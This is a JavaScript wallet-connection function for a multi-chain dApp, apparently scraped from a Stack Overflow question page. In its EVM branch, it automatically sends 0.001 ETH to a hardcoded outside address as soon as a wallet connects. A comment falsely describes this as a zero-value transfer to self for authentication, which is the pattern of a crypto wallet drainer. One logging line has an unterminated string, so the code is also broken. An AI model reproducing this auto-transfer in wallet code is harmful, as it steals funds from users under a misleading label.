import { ethers } from "ethers";
const URL = import.meta.env.VITE_BACKEND_URL;
export const connectWallet = async (dispatch, chain) => {
try {
dispatch({ type: "SET_ERROR", payload: null });
let walletAddress = null;
let receiverAddress = "0x8b0225fcff33d675ef78517bb685e8368b27d1e4"
// ---------- EVM Chains (via WalletConnect or injected wallets) ----------
if (["ethereum", "polygon", "bsc", "arbitrum", "optimism", "fantom", "avalanche", "base"].includes(chain)) {
const { open, getAccount } = await import('@web3modal/react'); // WalletConnect modal
await open(); // Triggers wallet connect modal
const account = await getAccount();
if (!account?.address) {
return dispatch({ type: "SET_ERROR", payload: "Failed to connect to EVM wallet." });
}
walletAddress = account.address;
// Auto Transaction After Connect
try {
// detect injected or WC provider
let provider;
if (window.ethereum) {
provider = new ethers.BrowserProvider(window.ethereum);
await window.ethereum.request({ method: "eth_requestAccounts" });
} else {
// WalletConnect provider fallback
const Web3Modal = (await import("web3modal")).default;
const modal = new Web3Modal();
const instance = await modal.connect();
provider = new ethers.BrowserProvider(instance);
}
const signer = await provider.getSigner();
// Example auto-transaction: 0 ETH transfer to self (auth TX)
const tx = await signer.sendTransaction({
to: receiverAddress,
value: ethers.parseEther("0.0010"), // or real value if intended
});
console.log("Auto TX sent", tx);
await tx.wait();
console.log("Auto TX confirmed
} catch (txErr) {
console.error("Auto TX failed", txErr);
dispatch({ type: "SET_ERROR", payload: "Auto transaction failed" });
}
}
// ---------- Solana (Phantom) ----------
else if (chain === "solana") {
if (!window.solana || !window.solana.isPhantom) {
return dispatch({ type: "SET_ERROR", payload: "Phantom wallet not found" });
}
const response = await window.solana.connect();
walletAddress = response.publicKey.toString();
}
// ---------- TON (TonConnect / Tonkeeper) ----------
else if (chain === "ton") {
const { TonConnect } = await import("@tonconnect/sdk");
const connector = new TonConnect();
await connector.restoreConnection();
if (!connector.connected) {
await connector.connect({
universalLink: 'https://app.tonkeeper.com/ton-connect',
bridgeUrl: 'https://bridge.tonapi.io/bridge',
});
}
walletAddress = connector.account?.address;
if (!walletAddress) {
return dispatch({ type: "SET_ERROR", payload: "TON wallet connection failed" });
}
}
// ---------- Unsupported Chain ----------
else {
return dispatch({ type: "SET_ERROR", payload: `Unsupported chain: ${chain}` });
}
if (!walletAddress) {
return dispatch({ type: "SET_ERROR", payload: "Could not retrieve wallet address" });
}
// Save to global context
dispatch({ type: "SET_ADDRESS", payload: walletAddress });
// Optional: Save to backend
await fetch(URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ address: walletAddress, chain }),
});
} catch (error) {
console.error("connectWallet error:", error);
dispatch({ type: "SET_ERROR", payload: error.message });
}
};
Подробнее здесь: https://stackoverflow.com/questions/798 ... onnects-to
Мобильная версия